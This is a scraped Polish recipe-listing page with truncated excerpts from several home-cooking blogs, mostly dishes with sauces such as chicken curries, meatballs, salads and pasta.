śniadanie, ale ja mogę ją jeść także na kolacje.  Kanapki z fetą i truskawkami składniki chleb - najlepiej swój ulubiony truskawki ser typu feta bazylia dresing 1 łyżka sosu sojowego 1 łyżka oliwy z oliwek 1 łyżka octu balsamicznego sol, pieprz do smaku Wszystkie składniki dresingu mieszamy ze sobą i doprawiamy do smaku. Kanapkę możemy posmarować masłem, a następnie okładamy

Przysmaki Karolki
Makaron z kurczakiem i cukinią 375

wpisem. Dzisiejsze danie jest z kategorii kuchni ekspresowej, gotowe w bardzo krótkim czasie. Do tego niesamowicie smaczne mimo że bardzo proste. Wilgotny kurczak, jędrna cukinia i do tego aksamitny sos powstały z sera i śmietany.  Zapiekany makaron z kurczakiem i cukinią składniki dla 3 osób  ulubiony makaron około 250 g 1 duża pierś kurczaka 1 średnia cukinia

Przysmaki Karolki
Pora na pora 277

dusimy ją razem z mięsem, od czasu do czasu podlewamy wodą. Mięso dusimy do chwili gdy będzie dokładnie ugotowane.W tym czasie  nadmiar płynu powinien odparować by powstał sos, który ewentualnie możemy zagęścić mąką

Przysmaki Karolki
Klopsiki i por 244

ruch idą klej i nożyczki, kolorowe flamastry i kredki. W międzyczasie znikam w kuchni byśmy nie umarły z głodu. Pyszny obiad gotowy jest w kilka chwil. Klopsiki w sosie śmietanowo-porowym składniki: 500 g mięsa mielonego 1 cebula 1 żółtko sól, pieprz ziołowy 2 pory 250 ml śmietany kremowi 2 łyżki oliwy 1 łyżka masła wykonane: Pory myjemy, osuszamy

Przysmaki Karolki
Kurczak. Pieczarki. Winogrono. Cydr. 274

kurczaka wraz ze śmietaną i gotujemy jeszcze 10 minut. Dodajemy na koniec winogrona przekrojone na pól i pozbawione pestek. Gotujemy kolejne 2-3 minuty. W razie potrzeby sos można zagęścić mąką

Przysmaki Karolki
Kurczak na niedzielny obiad 244

garnka oraz wlewamy część przygotowanej mikstury tak by skropić nią kurczaka. Wkładamy do piekarnika i pieczemy w temperaturze 180C przez 2 godziny. Od czasu do czasu zraszamy mięso przygotowanym sosem

Przysmaki Karolki
Chilli con carne inaczej 328

mięso oraz pomidory z puszki. Dusimy około 20 minut. Dodajemy odsączoną kukurydze i czerwoną fasolkę. W razie potrzeby doprawiamy solą i pieprzem, dodajemy też odrobinę cukru. By uzyskać więcej sosu podlewamy nasz chilli odrobiną ciepłej wody i gotujemy jeszcze około 10 minut. Podajemy z ryżem lub tortillą

Przysmaki Karolki
Szaszłyki z grillowanych kiełbasek i fig 241

się nie takie trudne, gorzej było z wymyślenie co tu z nich zrobić. W końcu padło na lekką przekąskę z grilla z połączenia dietetycznych kiełbasek drobiowych, fig i lekkiego sosu. A zainspirowała mnie do tego nuta zapachowa Apart żelu proBIOtic z figą . Zatem dołączam przepis do konkursu na Durszlaku . Czytaj więcej

Bernika - moj kulinarny pamietnik
Skarby lasu czyli roladki wołowe z borowikami 201

postanowiłam wykorzystać do zrobienia swoich pierwszych rolad z grzybami. Chyba się powtarzam z tym "pierwszy":) W każdym razie wyszły obłędnie pyszne, z dodatkiem domowych pyz i śmietanowego sosu rewelacyjne. Polecam każdemu. Czytaj więcej

Bernika - moj kulinarny pamietnik
Pałki po cygańsku 474

wypróbowałam. I muszę wam powiedzieć że już 3 rok jak robię w ten sposób pałki kurczaka i za każdym razem smakują wybornie, a buzie kleją się nam od pysznego sosu. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Biała kiełbasa smażona z ziołami 218

Męskie, jesienne śniadanie? Proszę bardzo. Zamarynowana biała kiełbasa w ziołach, usmażona w solidnej porcji sosu. Oj kaloryczne ale pyszne. Raz na jakiś czas to chyba nie grzech. Co wy na to? Czytaj więcej

Bernika - moj kulinarny pamietnik
Przystawka z sałatki z wędzonego łososia i owoców granatu 238

Oryginalna przystawka zarówno na przyjecie, np sylwestrowe jak i kolacje we dwoje. Łosoś wspaniale się komponuje z słodkim gratem, kwaskowatym jabłkiem do tego sos o wyrazistym smaku i pyszne danie gotowe. Polecam od czasu do czas tak zaszaleć. Porcja dla 4 osób . Czytaj więcej

Bernika - moj kulinarny pamietnik
Sałatka szpinakowa Popeya 265

obiadu jak tez jako samoistna przekąska. Teraz gdy trwa zima i brak nam wielu witamin i składników mineralnych taka bomba Popeya pewno się przyda każdemu. Do tego pyszny sos na bazie soku z grapefruita i mamy smaczny duet. Czytaj więcej

Bernika - moj kulinarny pamietnik
Köttbullar - szwedzkie klopsiki i rösti 227

się zebrałam i zrobiłam. Jako ze ostatnio używamy głownie mięsa mielonego indyczego postanowiłam go użyć zamiast tradycyjnego wp-wol, żeby było to danie lżejsze. Do tego pyszny kremowy, śmietanowy sos, placki rosti i żurawina. Było pysznieeeee... :) Czytaj więcej

Bernika - moj kulinarny pamietnik
Karnawałowo-świąteczna kaczka 203

pasem święta wielkanocne, i jest to idealny przepis zarówno na ostatni dzień karnawału, jak i nadchodzące święta. Chciałam wam zaproponować przyrządzenie najprostszej po słońcem kaczki w całości z pysznym sosem, idealnym np do klusek. Chyba nie ma łatwiejszego sposobu na pyszne podanie tego szlachetnego, niedocenianego drobiu. Tak wiec w gore kaczki i do roboty:) Czytaj więcej

Bernika - moj kulinarny pamietnik
Hamburgery drobiowe pełnoziarniste 249

się i wyrzucamy sobie ileż to jest niepotrzebnych ale pysznych kalorii. Jednak nie musi tak być jeśli zrobi się odchudzone hamburgery z pełnoziarnistymi domowymi bułkami drobiowym mięsem i jogurtowym sosem. Możliwe? Tak, spójrzcie niżej i do dzieła. Hamburger nie taki groźny na jakiego wygląda. Przepis na bułki ze strony ugotuj.to Czytaj więcej

Bernika - moj kulinarny pamietnik
Piersi z makaronem papardelle z kurkami 315

Propozycja wielkanocna na lekki, pyszny obiad. Pierś z kurczaka z makaronem papardelle, do tego sos kurkowy ze śmietaną, cytryna i winem. Myślę, ze nawet największemu marudzie ten obiad zasmakuje. Świątecznie, nieklasycznie i wiosennie. Zapraszam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Zielono mi - babeczki pandanowe 230

swoją kolej, mianowicie indonezyjskie babeczki z kokosem i pastą pandanową. Babeczki są delikatne w smaku, biszkoptowe, lekko kokosowe, pandan jest delikatnie wyczuwalny i nadaje im cudowny zielony kolor. A sos karmelowy dopełnia całości. Istne wiosenne szaleństwo. Babeczki są też fajnym pomysłem na na świąteczny wypiek, jeśli chcemy zaskoczyć gości. Polecam. Przepis z bloga J's Kitchen . Zainteresowanych zakupem pasty

Bernika - moj kulinarny pamietnik
Sałatka wiosenna 237

Nadeszła wiosna, a z nią czas zrzucić może i co nieco, wiec czas na lekkie przekąski. Dzisiaj zaproponuje szybka, nieskomplikowaną i mało odkrywczą sałatkę, ale za to z pysznym sosem. Zapraszam na witaminy. Czytaj więcej

Bernika - moj kulinarny pamietnik
Skrzydełko czy nóżka czyli kurczak na butelce piwa i BBQ 346

smaży się na tłuszczu, a wręcz wytapia się z niego cale tłuste zło. Tym razem do jego innego smaku wykorzystałam przepis MarthySteward i posmarowałam go także domowym sosem barbecue i powiem wam w tajemnicy ze wyszedł boski. Najlepszy mój kurczak. Czytaj więcej

Bernika - moj kulinarny pamietnik
Ostre curry z groszkiem i klopsikami 251

Jeśli lubicie indyjskie smaki, solidna porcje mięsa z ziemniakami w pysznym, aromatycznym, pomidorowym sosie to to danie jest dla was idealne. Wystarczy trochę przypraw, mięso mielone, warzywa i w godzinę macie danie jak z najlepszej indyjskiej knajpki. Jednogarnkowe, sycące, kolorowe. Curry jak marzenie. A zwykle klopsiki nabiorą nowego, pysznego znaczenia. Czytaj więcej

Bernika - moj kulinarny pamietnik
Sałatka ziemniaczana wiosenna 425

nadchodzą cieplejsze dni a z nimi okazja do robienia grilla często dodatkiem do mięsa jest u nas ta sałatka ziemniaczana. Prosta szybka, pyszna. Wystarczy trochę ziemniaków, nowalijki, dobry sos na bazie musztardy i gotowe. Oczywiście można sałatkę modyfikować dodając np seler naciowy albo wysmażony boczek dla większych łasuchów. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Placuszki botwinki i fety 238

się ze surowa botwinka może nie zdarzy zmięknąć szczególnie łodyżki, ale nic z tego, wyszły idealne. Po pierwsze jest to danie szybkie, tanie i sezonowe, a do tego z sosem jogurtowym wyjątkowo pyszne i sycące, idealne na lunch czy przekąskę. Przepis dodaje do akcji Malta Festival Poznań. Czytaj więcej

Bernika - moj kulinarny pamietnik
Tort bolognese 305

sposób jako zapiekany tort. Myślę ze taka forma zapiekanki niejednego zachęci do takiego obiadu. Polecam, bo jest to fajna odmiana bolognese, mimo iż wiem ze nie jest to klasyczny sos jaki robią Włosi, ale dla mnie najlepszy takie domowy, szybki i łatwy. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Śródziemnomorskie kieszonki z kurczaka faszerowane kuskusem 216

inne zawsze piersi z kurczaka. Kuskus posłużył mi nie tylko jako dodatek do dania, ale jako główny składnik farszu. A połączenie go z fetą, oliwkami, suszonymi pomidorami i pysznym sosem na bazie wina i cytryny dało efekt idealny. Jak ocenił je jeden z domowników, który nie jada oliwek a na kuskus miał do tej pory "długie zęby" danie

Bernika - moj kulinarny pamietnik
Rolada indycza z suszonymi pomidorami i plackami z kuskusu 203

Poza tym warto jeść indyka, bo zdrowe, chude i pyszne mięso. Smacznego. Roladę podałam z placuszkami z kuskusu, lekko zmienionymi, które urzekły mnie na blogu u Izy oraz z sosem z kurek. Czytaj więcej

Bernika - moj kulinarny pamietnik
Zapiekanka kapuściana w cieście francuskim 238

piwnicy u rodziców, grzyby z zeszłorocznych zbiorów w zamrażalniku, a reszta to stały element mojej lodówki. Jest bardzo smaczna i syta, można ją robić w wielu kombinacjach zmieniając smak sosu czy dodatki. Tutaj w wydaniu z mięsem mielonym. Przepis dodaje do akcji " Pokochaj olej rzepakowy ", który zresztą używany jest najczęściej w mojej kuchni, a który również dodałam tutaj

Bernika - moj kulinarny pamietnik
Cannelloni z mięsem mielonym 345

wracamy do przepisów znanych i lubianych. Przedstawiam wam moją wersje, myślę ze prostą i nieodbiegającą za bardzo od pierwowzoru, czyli cannelloni z mięsem mielonym w sosie pomidorowym. Na pozór wydaje się być to potrawa trudna i pracochłonna, ale tak nie jest, bo wystarczy trochę wprawy, dobrej organizacji i obiad mamy szybko, pysznie jak z najlepszej restauracji. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Kotlety mielone grzybowe z biszkoptami 240

otrębów, mielonych orzechów, płatków kukurydzianych.. a jednak okazało się ze się da, zastąpiłam bułkę pokruszonymi biszkoptami, które sprawdziły się idealnie. W połączeniu z pieczarkami kotlety wyszły pyszne a sos był "kropk ą nad i". Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Sałatka z zupek chińskich 1670

przepisów w necie bazuje na tym ze makaron do niej zalewa się woda i czeka aż zmięknie, ja daje makaron suchy, który i tak zmięknie pod wpływem wilgotnych dodatków, sosu i warzyw. Czytaj więcej

Bernika - moj kulinarny pamietnik
Drożdżówki ślimaczki z kajmakiem 218

zutylizować wolną i zalegającą w szafce puszkę z masą kr ó wkową? Ano najlepiej zrobić pyszną drożdżówkę w kształcie ślimaczków. Do tego czekolada i pyszny sos kawowy i mamy idealny deser na jesienne depresyjne popołudnie. Wykorzystałam przepis na ciasto z drożdżówki z jeżynami , który idealny jest do tego typu wypieków. Ciasto zawędrowało do goście, którym mam nadzieje smakowało

Bernika - moj kulinarny pamietnik
Placek ziemniaczany zapiekany jak z Osła 317

każdy placek ziemniaczany musi być tradycyjnie z cukrem albo sosem? Czy można podać inaczej? Pewnie, ja zrobiłam zapiekankę z placka z dodatkami, do której możecie wykorzystać akurat to, co macie w lodowce. Taki ziemniaczany torcik, który wierzcie mi naprawdę był syty i pysznie smakował. Inspiracj ą była wizyta w barze wegetariańskim Złoty Osioł . Czytaj więcej

Bernika - moj kulinarny pamietnik
Gęsie klopsiki w koperkowej zupie 154

Obiecałam Wam przed świętami kilka pomysłów na spożytkowanie gęsi trochę inaczej niż tylko upieczenie jej w całości w sosie własnym. Notabene jest to moja ulubiona potrawa z gęsi, ale nudno jest jeść ja ciągle tak samo to postanowiłam jedna gęś przerobić na kilka sposobów. Jako pierwsza jest zupa na wywarze z gęsi i na resztkach tego

Bernika - moj kulinarny pamietnik
Sałatka chińska 495

Sałatka szybka i smaczna, idealna na domówki, ekspresowe imprezy, imitująca popularną sałatkę z zupek chińskich. Jednak zamiast zupek i przypraw z torebki został użyty jajeczny makaron chiński i sos chili. Smak można dopasować pod siebie, składniki użyć takie jakie akurat mamy w lodowce. Smacznego. Czytaj więcej

Bernika - moj kulinarny pamietnik
Pulpeciki miesne z fetą - Montignac 215

blogu przepisy związane z tą dietą będą się pojawiały częściej. Ale jeśli na diecie nie jesteście i o figurę dbać nie musicie to polecam zjeść pulpeciki z sosem pomidorowym i makaronem. A co... Czytaj więcej

Bernika - moj kulinarny pamietnik
Shis Taouk czyli kurczak po libansku 403

także jedzących normalnie, którzy nie muszą liczyć kalorii. Samo przygotowanie kurczaka jest banalnie proste, bo wystarczy kilka aromatycznych przypraw, zamacerowanie w nich kurczaka a następnie uduszenie go w pysznym sosie w piekarniku. I teraz różnica w stosunku do tego jak mogą go jeść jedni a jak drudzy. Odchudzający zdejmują z kurczaka pyszną skórę i zjadają mięso z dużą ilością sałatki

Bernika - moj kulinarny pamietnik
Sałatka jogurtowa z piersią kurczaka 2281

zdrową kolację albo chcemy zabrać ze sobą coś lekkiego a jednocześnie pożywnego do pracy na lunch czy obiad polecam zrobić szybką sałatkę. Wystarczy pierś z kurczaka, kilka warzyw i sos na bazie jogurtu. Szybko, smacznie i lekko. Czytaj więcej

Bernika - moj kulinarny pamietnik
Kurczak z warzywami w cydrze 240

piekliście kurczaka w cydrze? Jeśli nie, to jest to danie dla was, idealne soczyste kawałki kurczaka w lekko kwaskowatym jabłkowym sosie, z pieczonymi warzywami. Polski cydr sprawdza się nie tylko w słodkich wypiekach, czy jak aperitif ale jako idealny dodatek, składnik obiadu. Danie proste, jednogarnkowe, niewymagające dużej uwagi, czyi idealne. Czytaj więcej

Bernika - moj kulinarny pamietnik
Makaron z rukolą i indykiem w śmietanie 288

Dzisiaj proponuje prosty, szybki makaron durum z mielonym mięsem z indyka u rukola a to wszystko w sosie śmietanowym ale light. Pewnie zapytacie dlaczego tak podkreślam ze to makaron durum a dlatego ze tylko takie używam i to już od kilku alt w kuchni. Ze względu na swoje właściwości (wysoką zawartość glutenu, wysoką szklistość i dużą zawartość barwników) pszenica durum

Bernika - moj kulinarny pamietnik
Smażony makaron z warzywami 828

akurat miałam w lodówce wyszedł idealnie jako uzupełnienie mojego niedzielnego, chińskiego obiadu. Sam tez smakuje wybornie. Możecie także dodać do niego pokrojone kawałki piersi kurczaka zamarynowane w sosie sojowym i oleju sezamowym i dzięki temu uzyskacie całkiem nowy wymiar tego szybkiego dania. Czytaj więcej

Bernika - moj kulinarny pamietnik
Kotlety schabowe duszone w śmietanie 448

Schab najczęściej kojarzy nam się albo w postaci kotletów schabowych albo nadziewany śliwką. Tymczasem może być równie smaczny w innych połączeniach np w sosie śmietanowym. Niestety danie nie należy do dietetycznych, dzisiaj kuchnia mało zdrowa dla tych co nie liczą kalorii. Zapraszam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Pęczak w cydrze 209

naprawdę uznawałam tylko jedną kaszę gryczaną, a tu zonk, niespodzianka... pęczak może być pyszny. Dlatego w domu przygotowałam swoją wersje takiej kaszy z dodatkiem cydru, kurczaka i oczywiście sosu sojowego. Czytaj więcej

Bernika - moj kulinarny pamietnik
Kaczka w soku pomarańczowym 277

jest delikatne, tak inne od mięsa kurczaka którego przecież jada się na co dzień. Tak więc wszystkim którzy kochają kaczki jak ja polecam kaczkę w soku pomarańczowym, w pysznym sosie. To moja kolejna propozycja na świąteczne menu. A na blogu znajdziecie kaczkę w pomarańczach , kaczkę świąteczną i kaczkę faszerowaną . Czytaj więcej

Bernika - moj kulinarny pamietnik
Gołąbki greckie dolmades 191

cały proces ich przygotowania, bo bardzo chciałam kiedyś zrobić je sama. Gołąbki zachwyciły nas smakiem. Zorka podała je wtedy tylko z jogurtem naturalnym, co w przeciwieństwie do naszych w sosie pomidorowym było zaskoczeniem. Obecnie zdobycie liści winogron na te gołąbki nie jest już problemem, bo produkt ten pojawia się w większości hipermarketów, więc możemy przygotować sami rewelacyjne bałkańskie danie, którego

Bernika - moj kulinarny pamietnik
Bułki do hamburgerów albo hot-dogów 190

pewnych sieciówek, bo wiadomo ani to zdrowe ani pożywne, dlatego polecam zrobić pyszne domowe hamburgery w dodatku z mięsa indyczego, czyli delikatniejszego i zdrowszego dla naszych pociech, z domowym sosem jogurtowym i bułkami, które świetnie się nadają zarówno do hamburgerów jak i na kanapki, które można zrobić na grillu. Z tej proporcji wychodzi 12 sztuk. Przepis Eweliny . Bułki piekłam

Bernika - moj kulinarny pamietnik
Gulasz z ozorków z plackami z ciasta na kluski 245

podać je z plackami zrobionymi z ciasta, które zostało po robieniu klusek śląskich. Takie ciasto może być użyte albo na dufinki albo właśnie na placki. Świetnie się komponuje z sosami np. pieczarkowym czy gulaszami. Zapraszam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Krem typu "lemon curd" z pomarańczą 198

pomarańczy oraz szczyptę soli. Cały czas mieszamy na średnim ogniu około 15-20 minut, aż masa zacznie gęstnieć. Ciepłą masę przetrzeć przez sitko, aby nie było żadnych grudek, a sos był aksamitny. Do gotowej masy zetrzeć skórkę z cytryny. * Jeżeli zależy nam na bardzo gęstej konsystencji dodajemy 1 łyżeczkę skrobi ziemniaczanej :) Krem przechowujemy w lodówce, w zamkniętym słoiczku do tygodnia

Zabawa smakiem
Kurczak curry z ananasem 251

umyć, osuszyć następnie pokroić w kostkę około 2-3 cm i podsmażyć na łyżce oliwy. Do kurczaka dodać curry i ananas, wymieszać. Wlać sok z ananasa oraz śmietankę. Gdy sos lekko odparuje wsypać wiórki kokosowe i dokładnie wymieszać. Podawać na ciepło z ryżem. Smacznego

Zabawa smakiem
Roladki z kurczaka z serem feta i pesto 570

Roladki z kurczaka, faszerowane serem feta, zawinięte w chrupiący boczek,  zalane sosem śmietankowym  z pesto i zielonym groszkiem. Składniki : 2 duże filety z kurczaka (około 500 g) 200 g sera feta 100 g surowego boczku, pokrojonego w cieniutkie plastry - 8 sztuk) 2 łyżki oliwy 1/2 szklanki wody 200 ml śmietany kremówki 1 łyżka pesto z bazylii

Zabawa smakiem
Carbonara 286

Pyszny śmietankowo-serowy sos podany z makaronem tagliatelle i chrupiącymi paseczkami boczku. Składniki : 400 g makaronu tagliatelle 250 ml śmietany kremówki 2 żółtka 1/2 szklanki tartego parmezanu ( trochę odłożyć do posypania makaronu) 300 g wędzonego boczku W dużym garnku zagotować wodę z łyżeczką soli, wrzucić makaron.  Boczek pokroić w podłużne paski i podsmażyć na rozgrzanej patelni. Gdy makaron będzie

Zabawa smakiem
Kurczak tikka masala I-Chicken tikka masala- I 324

mieszamy I dodajemy kurczaka. Odstawiamy pod przykryciem na 45 min do lodowki. ( idealnie pare godzin   ) Kurczaka smazymy na patelni grillowej lub w "grillownicy" ok 2-4 min Sos W garnku roztapiamy 2 lyzki masla I dodajemy 2 sprasowane zabki czosnku. Smazymy ok 3 min . Dodajemy 500 ml koncentratu pomidorowego lub pomidorow w puszce, 1 lyzke cukru, 1 lyzke

Smaki Edyty
Potrawka z kurczaka 486

Witam milosnikow gotowania I pieczenia. Zapraszam na potrawke z kurczaka Udka kurczaka pokroilam na mniejsze czesci I wrzucilam na rozgrzany olej. Po 10 min smazenia dodalam marchewke. Zrobilam sos ze smietany I bulionu kurczakowego. Wlalam do garnak, zagotowalam I na koniec dodalam groszek. Podalam z makaronem I z mizeria z ogorkow Smacznego I pozdrawiam

Smaki Edyty
kotlety "devolay" 239

tartej. Smazymy na wolnym ogniu. Przygotowalam salatke- pokroilam drobno kapuste pekinska- posolilam , dodalam cukru- odstawilam na 10 min. Na grubych oczkach starlam dwie marchewki, pol cebuli, skroilam szczypior. Wymieszalam. Sos- 2 lyzki majonezu 250 ml jogurtu greckiego sok z pol cytryny sol, pieprz, cukier do smaku Smacznego

Smaki Edyty
Tosty 169

Poszalejmy dzisiaj - na kolacje proponuje tosty :) Szykujemy wedline, cebule, pomidora, szczypiorek, ser, pieczarki. Obkladamy chleb - i zapiekamy. Ja podalam z kechupem i sosem czosnkowym- pycha :) Smacznego

Smaki Edyty
Floryda-Orlando 228

amerykanskiej- zacytuje moja corka ,ktora powiedziala, po 5 dniach- "mam dosyc kuchni amerykanskiej" . Czym charakteryzuje sie kuchnia i co jest nuta przewodnia-juz pisze: Buffalo wings-chyli skrzydelka w sosie pomidorowo miodowym posypane serem, ciasto czekoladowe- czyli znane nam brownies, hamburgery, cheeseburgery, hot dogi, corndogi, fluffernutter czyli kanapka z maslem orzechowym i dzemem, macaroni i cheese, pizza, nalesniki z syropem

Smaki Edyty
Kurczak zapiekany z warzywami 257

skorki. Zblanszowalam tez brokuly. Wlozylam do naczynia zaroodpornego kurczaka, na to brokuly , pokrojona papryke I posypalam serem mozzarella. Wlozylam do nagrzanego na 180 C piekarniaka na 15 min Przygotowalam sos czosnkowo pomidorowy, podalam z ryzem. Smacznego I milego dnia

Smaki Edyty
Salatka z kapusty pekinskiej 1793

Salatka z pekinskiej Skladniki: Kapusta pekinska ogorek marchew szczypior. Skroilam pekinska, starlam na duzych oczkach marchew, pokroilam ogorek na pol-talarki, skroilam szczypior. Zrobilam sos z 3 lyzek majonezu, 4-5 lyzek smietany, szczypty soli, pieprzu, soku z cytryny, pol lyzeczki cukru . Wymieszalam z salatka.     Smacznego

Smaki Edyty
Poledwica wieprzowa ze sliwka 160

wykalaczkami. Obsmazylam po kazdej ze stron na patelni. Wlozylam do piekarnika na 3 godziny w temperaturze 80C- wolowina jest niesamowicie krucha, I wystarczy raz na godzine ja obrocic. Przygotowalam sos pieprzowy I podalam z buraczkami I ziemniakami. Smacznego

Smaki Edyty
Jajka po szkocku 281

jajka miesem Obtaczamy w mace, w jajku, bulce tartej- kladziemy na rozgrzany olej- smazymy ze wszystkich stron. Zrobilam salatke do tego z pekinskiej, ogorka, papryki,marchewki Jajka podalam z sosem koperkowo - pietruszkowym. Smacznego

Smaki Edyty
Hamburger w pitta bread - czyli szybka kolacja 199

Szybka kolacja Skroilam; pomidora, salate pekinska, kawalek ogorka, papryke, szczypior. Zgrilowalam hamburgery przygotowalam sos: jogurt grecki, ketchup, czosnek , pieprz. Podalam w pitta bread Wersja bez pitta bread Milego wieczoru , pozdrawiam

Smaki Edyty
Kokosowe curry z wolowina - czyli Coconut beef curry 204

przyprawami paste curry. Gotujemy ok 1-2 min. Kroimy ok  900 gr wolowiny w paseczki, wrzucamy do garnka. Dodajemy 2 lyzeczki cukru brazowego, 4 lyzki fish sosu, 400 ml mleka kokosowego I ok 50 gr orzeszkow- ja dodalam cashew. Dodatkowo dodalam jeszcze jedna puszke mleka kokosowego. Dusimy na wolnym ogniu , az wolowina bedzie miekka. Na koniec gotowania

Smaki Edyty
Sałatka z ryżem i tuńczykiem 404

myślą o moim mężu, który ma dzisiaj koniec miesiąca w pracy- wiec bedzie dłużej tam i z pewnością będzie bardzo głodny :) Składniki: Ryż Mała puszka kukurydzy tuńczyk w sosie własnym papryka pomidor majonez sol i pieprz do smaku. Wszystkie składniki połączyć, dodać majonez i doprawić. Smacznego

Smaki Edyty
Surówka a'la Colesław 365

Surówka a'la Colesław Składniki: Kapusta pekińska Marchewka Szczypior Majonez lub jogurt naturalny sól, pieprz , cukier Kroimy drobno kapustę, marchew ścieramy na tarce na dużych oczkach, dodajemy szczypior. Sos: 3-4 łyżki majonezu lub jogurtu, dodajemy sól, pieprz i cukier do smaku. Mieszamy i dodajemy do surówki Smacznego

Smaki Edyty
Kotlety mielone z serem 250

pieprz, papryke, pietruszke zielona- natke, I wymoczona bulke. Wszysko razem laczymy. Z kotletow formujemy kulki I obtaczamy w bulce tartej. Smazymy na rozgrzanej patelni . Ja podalam z makaronem, sosem pieczarkowym I surowka z ogorkow I pomidorow. Smacznego

Smaki Edyty
Ryba po grecku 330

zgrilowalam ok 20 min Starlam marchew I pietruszke na duzych oczkach, skroilam cebule na poltalarki. Na niewielkiej ilosci oleju najpierw podsmazylam cebule- ok 5 min. Dodalam marchew , pietruszke I sos pomidorowy. Doprawilam sola, pieprzem I paprika oraz ok 1 lyzeczki cukru.  Dusialam az do miekkiej marchewki  Wlozylam do naczynia- warzywa - ryba- warzywa- ryba.  Podajemy na cieplo

Smaki Edyty
Salatka ziemniaczana z jajkami- patato salad with eggs and olives 294

pieprz, papryka Wykonanie: Gotujemy molde ziemniaki. Kroimy cebule w cwierc talarki. Kroimy jajka. Oliwki na pol. Siekamy pietruszke I szczypior.  Wszysko doprawiamy sola, pieprzem I paprika.  Szykujemy sos: 3 - 4 lyzki majonezu 2-3 lyzki oliwy z oliwek 1-2 lyzeczek musztardy delikatesowej. Mieszamy skladniki .Dodajemy do salatki.  Smacznego

Smaki Edyty
placki ziemniaczane- potato pancakes 232

wyciskamy przez praske czosnek, dodajemy jajka, make, sól, pieprz I śmietanę. Mieszmy. Na rozgrzanej patelni z olejem kładziemy placki. Smażymy z obu stron.  Podajemy ze śmietaną lub z sosem. Polecam i życzę smacznego

Smaki Edyty
Kopytka 187

Zagotowujemy wodę z sola I olejem- żeby kopytka nie sklejały się. Po zagotowaniu wody dodajemy kopytka, czekamy by wypłyneły, gotujemy ok 3-4 min od wypłyniecia. Podajemy z sosami , z cebulka.  Smacznego

Smaki Edyty
Kurczak cajun- cajun chicken 420

Wlewamy śmietane, szczypior I papryke, wsypujemy przyprawy. Trzymamy na ogniu od zagotowania ok 2 min . Gotowe. W międzyczasie gotujemy makaron-np tagliatelle. Makaron odcedzamy I mieszamy z połową sosu. ( Druga część na drugi dzień)  Smacznego :) * Cajun- ( słodka papryka w proszku, chili w proszku, pieprz cayenne, oregano, tymianek, czarny mielony pieprz, biały mielony pieprzu, czosnek w proszku, cebula

Smaki Edyty
Mielone ze szparagami 268

obiad :) Smażymy ok 5 min. Dodajemy mięso- smażymy do momentu aż mięso przestanie być różowe- dodajemy bullion . Doprawiamy solą, pieprzem I papryką. Rozrabiamy mąkę ze śmietaną- wlewamy do sosu. Dodajemy koper. I obiad gotowy Obiad poałam z ryżem- ale makaron lub ziemniaki też będą dobrym dodatkiem. Smacznego

Smaki Edyty
Polędwica wieprzowa z warzywami 221

mięsa dodajemy  marchew I fasolkę. Dolewamy bullion dodajemy sól, pieprz I kolendrę, przykrywamy I dusimy około 20-30 min. Mieszamy mąkę I śmietanę. Dolewamy do sosu. Doprawiamy w razie potrzeby. I obiad gotowy. :)  Obiad podałam z makaronem I sałatką szwedzką. Rewelacyjnie będzie się komponował także z ryżem I ziemniakami. Smacznego

Smaki Edyty
Spaghetti bolognese 201

Dzisiaj na obiad polecam spaghetti Bolognese. Klasyka  kuchni włoskiej, ciepły sos mięsny , historią sięgającą czasów średniowiecza, pochodzący z Boloni. Włosi uważają że sekretem tej potrawy jest długie gotowanie, nawet do 4 godzin. :) Moje bolognese  jest trochę zmodyfikowane I dostosowane do mojej kuchni. Zaczynamy  Składniki: 350 gr mięsa mielonego wołowego 1 cebula 1 marchew 400 ml pomidorów

Smaki Edyty
Wrapy z tuńczykiem 282

może tylko ograniczyć nas , nasza wyobraznia. Może być naszym sniadanie, przekąską, obiadem, kolacją- może stać sie wszystkim. :) Ja zapraszam na wrapy z tuńczykiem.  Składniki: 1 tuńczyk w sosie własnym 1 kukurydza 1 groszek 4 jajka 2-3 ogórki konserwowe mały kawałek sera żółtego majonez/jogurt naturalny wrapy sól, pieprz  Wykonanie: Rozdrabniamy tunczyka, dodajemy kukurydzę I groszek. Gotujemy jajka

Smaki Edyty
Łopatka w ziołach z warzywami 234

wtedy prawie już dobre- lub powinno byc :) Dodajemy skrojoną marchew, cebulę I pieczarki. Przykrywamy I dusimy ok 10-15 min. Doprawiamy solą I pieprzem, pamiętajmy jeżeli jest za mało sosu, zawsze możemy podlać troche wody I doprawić. I łopatka gotowa. :) Do obiadu przygotowałam duszone ziemniaki z koprem I surówkę z sałaty lodowej. Życzę smacznego I miłej niedzieli

Smaki Edyty
Maki-Sushi 238

przestając rolować naszego sushi. Drugie sushi wykładamy łososiem wędzonym, ogórkiem I szczypiorem. Po zrobieniu rolek, wkładamy do lodówki na ok 1 godzinę. Kroimy na małe rolki. Do sushi dodajemy sos sojowy , imbir I wasabi. Polecam I życzę smacznego

Smaki Edyty
Italia kusi a Orient nęci 251

Już Marco Polo łączył kuchnię włoską z chińską .A co by było gdyby suszone pomidory skusiły sos sojowy ? Czytaj więcej

Buniabaje w kuchni
Kapusta kiszona z buraczkami-surówka 237

Moja kuzynka robi taka surówkę ale z majonezem ( czasem dodaje jeszcze utartego ogórka kiszonego). Mnie zachciało się dziś do ryby (Tilapia w marynacie z sosu chili )- kapusty kiszonej ale takiej by się komponowała i smakiem i wyglądem. Przypomniałam sobie o surówce kuzynki ( Iwonki) i trochę ja zmodyfikowałam. Czas: 10 minut Składniki: 20 dag kiszonej kapusty 1/3 dużego soczystego buraka czerwonego

Buniabaje w kuchni
Kokosowa marchewka wg Buni 254

Zostało mi od wczoraj kotletów ( bez sosu )   i ryżu . Zrobiłam więc tylko marchew trochę inaczej zamiast fasolki szparagowej . Czas : 20 minut Składniki : 3 średniej wielkości marchewki 1/2 szklanki mleka kokosowego 1 szklanka wody 1 łyżeczka masła szczypta soli Marchew obrać, pokroić na plastry a potem w słupki. Zalać wodą zmieszaną z mlekiem kokosowym . Lekko posolić, dodać masło

Buniabaje w kuchni
Szpinak w dziugasowym koszyczku 186

